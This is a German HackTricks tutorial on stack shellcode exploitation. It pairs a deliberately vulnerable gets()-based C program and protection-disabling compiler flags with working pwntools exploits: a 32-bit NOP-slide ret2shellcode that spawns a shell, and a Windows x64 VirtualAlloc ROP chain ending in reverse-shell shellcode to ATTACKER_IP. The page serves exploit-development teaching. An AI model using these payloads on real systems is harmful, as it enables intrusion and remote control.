Stack Shellcode
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Stack shellcode ist eine Technik, die in der binary exploitation verwendet wird, bei der ein Angreifer shellcode auf den Stack eines verwundbaren Programms schreibt und dann den Instruction Pointer (IP) oder Extended Instruction Pointer (EIP) so verändert, dass er auf die Position dieses shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unautorisierten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Im Folgenden eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und pwntools schreiben könnte.
C-Beispiel: Ein verwundbares Programm
Beginnen wir mit einem einfachen Beispiel eines verwundbaren C-Programms:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Dieses Programm ist aufgrund der Verwendung der gets()
-Funktion anfällig für einen buffer overflow.
Kompilierung
Um dieses Programm zu kompilieren und verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie folgenden Befehl verwenden:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Deaktiviert den Stack-Schutz.-z execstack
: Macht den Stack ausführbar, was nötig ist, um auf dem Stack gespeicherten Shellcode auszuführen.-no-pie
: Deaktiviert Position Independent Executable (PIE), wodurch es einfacher wird, die Speicheradresse vorherzusagen, an der sich unser Shellcode befindet.-m32
: Kompiliert das Programm als 32-Bit-Executable, oft verwendet für Einfachheit in der Exploit-Entwicklung.
Python-Exploit mit Pwntools
So könntest du ein Exploit in Python mit pwntools schreiben, um einen ret2shellcode-Angriff durchzuführen:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Dieses Skript konstruiert ein Payload, das aus einem NOP slide, dem shellcode besteht und danach die EIP mit der Adresse überschreibt, die auf den NOP slide zeigt, wodurch sichergestellt wird, dass der shellcode ausgeführt wird.
Der NOP slide (asm('nop')
) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren shellcode "rutscht", unabhängig von der exakten Adresse. Passe das p32()
-Argument an die Startadresse deines Buffers plus einem Offset an, um im NOP slide zu landen.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
Auf modernen Windows-Systemen ist der Stack nicht ausführbar (DEP/NX). Eine gängige Methode, um trotzdem stack-resident shellcode nach einem stack BOF auszuführen, ist das Erstellen einer 64-bit ROP-Kette, die VirtualAlloc (oder VirtualProtect) aus der Import Address Table (IAT) eines Moduls aufruft, um einen Bereich des Stacks ausführbar zu machen und anschließend in den nach der Kette angehängten shellcode zurückzukehren.
Wichtige Punkte (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → wähle eine Adresse im aktuellen Stack (z. B. RSP), sodass der neu zugewiesene RWX-Bereich mit deinem payload überlappt
- RDX = dwSize → groß genug für deine Kette + shellcode (z. B. 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return direkt in den unmittelbar nach der Kette platzierten shellcode.
Minimale Strategie:
- Leak eine Modulbasis (z. B. via a format-string, object pointer, etc.), um absolute Gadget- und IAT-Adressen unter ASLR zu berechnen.
- Finde Gadgets, um RCX/RDX/R8/R9 zu laden (pop- oder mov/xor-basierte Sequenzen) und einen call/jmp [VirtualAlloc@IAT]. Falls direkte pop r8/r9 fehlen, nutze arithmetische Gadgets, um Konstanten zu synthetisieren (z. B. setze r8=0 und addiere wiederholt r9=0x40 vierzigmal, um 0x1000 zu erreichen).
- Platziere stage-2 shellcode unmittelbar nach der Kette.
Example layout (conceptual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Mit einer eingeschränkten Auswahl an Gadgets kannst du Registerwerte indirekt erzeugen, zum Beispiel:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → setzt r9 aus rbx, nullt r8 und kompensiert den Stack mit einem junk qword.
- xor rbx, rsp; ret → initialisiert rbx mit dem aktuellen Stackzeiger.
- push rbx; pop rax; mov rcx, rax; ret → kopiert den von RSP abgeleiteten Wert in RCX.
Pwntools-Skizze (bei bekannter Basisadresse und Gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Tipps:
-
VirtualProtect funktioniert ähnlich, falls es vorzuziehen ist, einen bestehenden Buffer RX zu verwenden; die Parameterreihenfolge ist anders.
-
Wenn der Stack-Speicher knapp ist, alloziere RWX an einer anderen Stelle (RCX=NULL) und jmp in diese neue Region anstatt den Stack wiederzuverwenden.
-
Berücksichtige immer Gadgets, die RSP anpassen (z. B. add rsp, 8; ret), indem du Junk-qwords einfügst.
-
ASLR sollte deaktiviert sein, damit die Adresse über Ausführungen hinweg zuverlässig ist, sonst ist die Adresse, an der die Funktion gespeichert wird, nicht immer gleich und du würdest irgendeinen leak benötigen, um herauszufinden, wo die win function geladen ist.
-
Stack Canaries sollten ebenfalls deaktiviert sein, sonst wird die manipulierte EIP-Rücksprungadresse nie ausgeführt.
-
NX stack protection würde die Ausführung des shellcode im Stack verhindern, da diese Region nicht ausführbar wäre.
Weitere Beispiele & Referenzen
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR mit stack address leak, shellcode schreiben und dorthin springen
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR mit stack leak, shellcode schreiben und dorthin springen
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR mit stack leak, Vergleich, um den Aufruf von exit() zu verhindern, Variable mit einem Wert überschreiben, shellcode schreiben und dorthin springen
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, no ASLR, ROP gadget, um den stack ausführbar zu machen und in den shellcode im stack zu springen
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.